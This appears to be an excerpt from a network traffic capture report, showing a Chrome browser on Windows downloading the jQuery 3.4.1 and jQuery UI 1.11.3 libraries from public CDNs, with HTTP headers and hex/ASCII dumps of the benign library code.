2024-10-06 11:20:52 UTC	520	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	969	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 250836 Expires: Fri, 26 Sep 2025 11:20:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3YrPBiopDteXfQuy%2F0bqMTK2NXskY1RKhnza5p1Z%2Fq%2FdVdrRJVafRFOTv8ou8u1ZOxj97XuZVbMo%2BYh6P7Ht9vTCdrkPGrcGDuvl4jPLnkxPkqELpPWF%2BZic3TjKORI0%2B%2FXBGP%2F6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ce543c35a01728a-EWR alt-svc: h3=":443"; ma=86400
2024-10-06 11:20:53 UTC	400	IN	Data Raw: 33 39 37 37 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 3977/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 65 6e 74 2c 72 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 Data Ascii: ent,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e Data Ascii: this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.len
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: tion(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 29 7c 29 22 2c 46 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c Data Ascii: )\|)",F=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 Data Ascii: childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 Data Ascii: ly{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.ne
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 61 74 74 72 69 62 75 74 65 73 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 Data Ascii: chEvent("onunload",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 73 4e 61 6d 65 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d Data Ascii: sName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 76 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 73 3d 73 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 Data Ascii: h&&new RegExp(v.join("\|")),s=s.length&&new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49726	151.101.194.137	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:52 UTC	501	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 434248 Date: Sun, 06 Oct 2024 11:20:53 GMT X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740044-EWR X-Cache: HIT, MISS X-Cache-Hits: 3598, 0 X-Timer: S1728213653.999350,VS0,VE3 Vary: Accept-Encoding
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 0a 7d 29 3b 0a 0a 2f 2f 20 70 6c 75 67 69 6e 73 0a 24 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 0a 09 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 63 6c 75 64 65 48 69 64 64 65 6e 20 29 20 7b 0a 09 09 76 61 72 20 70 6f 73 69 74 69 6f 6e 20 3d 20 74 68 69 73 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 2c 0a 09 09 09 65 78 63 6c 75 64 65 53 74 61 74 69 63 50 61 72 Data Ascii: 7,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38}});// plugins$.fn.extend({scrollParent: function( includeHidden ) {var position = this.css( "position" ),excludeStaticPar
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 65 20 7c 7c 20 6d 61 70 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 3d 20 22 6d 61 70 22 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 09 09 69 6d 67 20 3d 20 24 28 20 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 20 2b 20 6d 61 70 4e 61 6d 65 20 2b 20 22 27 5d 22 20 29 5b 20 30 20 5d 3b 0a 09 09 72 65 74 75 72 6e 20 21 21 69 6d 67 20 26 26 20 76 69 73 69 62 6c 65 28 20 69 6d 67 20 29 3b 0a 09 7d 0a 09 72 65 74 75 72 6e 20 28 20 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 20 6e 6f 64 65 4e 61 6d 65 20 29 20 3f 0a 09 09 21 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 20 3a 0a 09 09 22 61 22 20 Data Ascii: e \|\| map.nodeName.toLowerCase() !== "map" ) {return false;}img = $( "img[usemap='#" + mapName + "']" )[ 0 ];return !!img && visible( img );}return ( /^(input\|select\|textarea\|button\|object)$/.test( nodeName ) ?!element.disabled :"a"
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 22 4c 65 66 74 22 2c 20 22 52 69 67 68 74 22 20 5d 20 3a 20 5b 20 22 54 6f 70 22 2c 20 22 42 6f 74 74 6f 6d 22 20 5d 2c 0a 09 09 09 74 79 70 65 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 09 09 09 6f 72 69 67 20 3d 20 7b 0a 09 09 09 09 69 6e 6e 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 57 69 64 74 68 2c 0a 09 09 09 09 69 6e 6e 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 0a 09 09 09 09 6f 75 74 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 57 69 64 74 68 2c 0a 09 09 09 09 6f 75 74 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 48 65 69 67 68 74 0a 09 09 09 7d 3b 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 65 28 20 65 6c 65 6d 2c 20 73 69 7a 65 2c Data Ascii: "Left", "Right" ] : [ "Top", "Bottom" ],type = name.toLowerCase(),orig = {innerWidth: $.fn.innerWidth,innerHeight: $.fn.innerHeight,outerWidth: $.fn.outerWidth,outerHeight: $.fn.outerHeight};function reduce( elem, size,
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 62 22 2c 20 22 61 22 20 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 61 2d 62 22 20 29 2e 64 61 74 61 28 20 22 61 2d 62 22 20 29 20 29 20 7b 0a 09 24 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 20 72 65 6d 6f 76 65 44 61 74 61 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 20 29 20 7b 0a 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 24 2e 63 61 6d 65 6c 43 61 73 65 28 20 6b 65 79 20 29 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 Data Ascii: b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {$.fn.removeData = (function( removeData ) {return function( key ) {if ( arguments.length ) {return removeData.call( this, $.camelCase( key ) );} else {return removeData.call( this );
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 20 77 68 65 72 65 20 7a 2d 69 6e 64 65 78 20 69 73 20 69 67 6e 6f 72 65 64 20 62 79 20 74 68 65 20 62 72 6f 77 73 65 72 0a 09 09 09 09 2f 2f 20 54 68 69 73 20 6d 61 6b 65 73 20 62 65 68 61 76 69 6f 72 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 73 69 73 74 65 6e 74 20 61 63 72 6f 73 73 20 62 72 6f 77 73 65 72 73 0a 09 09 09 09 2f 2f 20 57 65 62 4b 69 74 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 61 75 74 6f 20 69 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 70 6f 73 69 74 69 6f 6e 65 64 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 3b 0a 09 09 09 09 69 66 20 28 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 22 61 62 73 6f 6c 75 74 65 22 20 7c 7c 20 70 6f 73 69 74 Data Ascii: where z-index is ignored by the browser// This makes behavior of this function consistent across browsers// WebKit always returns auto if the element is positionedposition = elem.css( "position" );if ( position === "absolute" \|\| posit
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 20 29 20 7b 0a 09 09 09 09 73 65 74 5b 20 69 20 5d 5b 20 31 20 5d 2e 61 70 70 6c 79 28 20 69 6e 73 74 61 6e 63 65 2e 65 6c 65 6d 65 6e 74 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 7d 3b 0a 0a 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 57 69 64 67 65 74 20 31 2e 31 31 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 68 Data Ascii: ) {set[ i ][ 1 ].apply( instance.element, args );}}}};/! jQuery UI Widget 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * h
